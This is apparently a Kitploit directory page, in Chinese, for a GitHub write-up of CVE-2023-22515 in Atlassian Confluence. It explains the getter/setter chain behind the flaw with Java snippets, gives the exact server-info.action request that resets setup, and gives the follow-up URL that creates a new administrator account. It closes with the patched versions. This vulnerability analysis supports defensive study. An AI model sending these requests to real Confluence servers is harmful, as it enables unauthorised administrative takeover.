Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2023-22515 — Confluence 中的服务器错误访问控制 - CVE-2023-22515 | Kitploit
工具/GitHubGitHub/lucaspdiniz/cve-2023-22515
权限提升漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育
GitHublucaspdiniz/cve-2023-22515

CVE-2023-22515

Confluence 中的服务器错误访问控制 - CVE-2023-22515

查看仓库
212年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Confluence 漏洞 - CVE-2023-22515 📓

简介

Atlassian 收到报告称可能存在一个漏洞,可能被利用并通过管理权限访问破坏环境。2023年10月4日,Atlassian 发布了一个关于 CVE-2023-22515 的安全公告,该漏洞的 CVSS 评分为 10.0。该漏洞存在于 Confluence Server 和 Data Center 版本 的 8.0.0 版本中,并影响 <8.3.3, <8.4.3, <8.5.2 的版本。

攻击者可以利用该漏洞在 Confluence 中创建一个具有完全管理权限的额外账户。攻击者无需任何先验信息即可利用该漏洞。该漏洞被认为可能启用其他未知的攻击向量,应尽快修补。

漏洞原理 ⚠️

利用此漏洞,攻击者可以返回到 Confluence 配置的设置阶段,并创建一个具有管理访问权限的新用户。这一切之所以可能,是因为 Confluence 是使用 Apache Struts 框架构建的,该框架依赖于 XWork 包。XWork 允许以 Java 类的形式定义 Actions。每个 Action 都可以通过 URL 调用,相应的 Java 类将处理请求,执行 Action 所需的操作,并发出响应。

此问题主要由于一个类 action 引起,我们可以通过 URL 调用属性。

  • 链式调用 Getters/Setters 以重新启用初始设置

探测发生在 ServerInfoAction action 中,我们可以操纵该类的 getter/setter 并重置设置配置。

如果分析 ServerInfoAction 类的代码,你会发现它扩展了 ConfluenceActionSupport 类。这样做,它也会继承其所有方法。其中一个方法是一个 getter,返回 BootstrapStatusProvider 对象:

root@kitploit:~
public class ConfluenceActionSupport extends ActionSupport implements LocaleProvider, WebInterface, MessageHolderAware {
  public BootstrapStatusProvider getBootstrapStatusProvider() {
    if (this.bootstrapStatusProvider == null)
      this.bootstrapStatusProvider = BootstrapStatusProviderImpl.getInstance(); 
    return this.bootstrapStatusProvider;
  }
}

我们关注 BootstrapStatusProvider 类,因为它有另一个 getter 方法,我们可以用来获取 ApplicationConfiguration 对象:

root@kitploit:~
public class BootstrapStatusProviderImpl implements BootstrapStatusProvider, BootstrapManagerInternal {
  public ApplicationConfiguration getApplicationConfig() {
    return this.delegate.getApplicationConfig();
  }
}

该对象包含应用程序的配置,包括一个告诉 Confluence 初始设置是否完成的属性。该属性可以通过 ApplicationConfig 类中的 setter 进行修改:

root@kitploit:~
public class ApplicationConfig implements ApplicationConfiguration {
  public synchronized void setSetupComplete(boolean setupComplete) {
    this.setupComplete = setupComplete;
  }  
}

如果我们能调用 setSetupComplete(false),就可以重置设置配置过程,我们可以使用 getter/setter 方法如下实现:

root@kitploit:~
http://10.10.227.86:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false

此 URL 将调用我们上面提到的所有方法,到达负责重置设置的目标方法。

root@kitploit:~
getBootstrapStatusProvider().getApplicationConfig().setSetupComplete(false)

实际操作 ✍️

下面,我们有一个运行易受攻击版本 Confluence 的服务器的示例。

让我们尝试使用上述方法调用重新启动设置过程:

root@kitploit:~
http://atlassian.poc:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false

将 setupcomplete 参数设置为 false 后,我们将收到成功返回。这意味着更改参数的尝试成功了。

  • 创建新的管理账户 🔥

让我们尝试通过访问设置 URL 来创建一个新账户,我们试图重置该进程。

root@kitploit:~
http://atlassian.poc:8090/setup/setupadministrator-start.action

  • 完成!!!✔️

我们成功重置了设置进程并创建了一个具有管理访问权限的新用户。

补丁修复 ✅

该漏洞已在版本 8.3.3, 8.4.3 和 8.5.2 中修复。任何更新的版本分支也应该安全。

更多信息,Atlassian 已在其网站上发布了漏洞详情(了解更多 - Atlassian)。

下载工具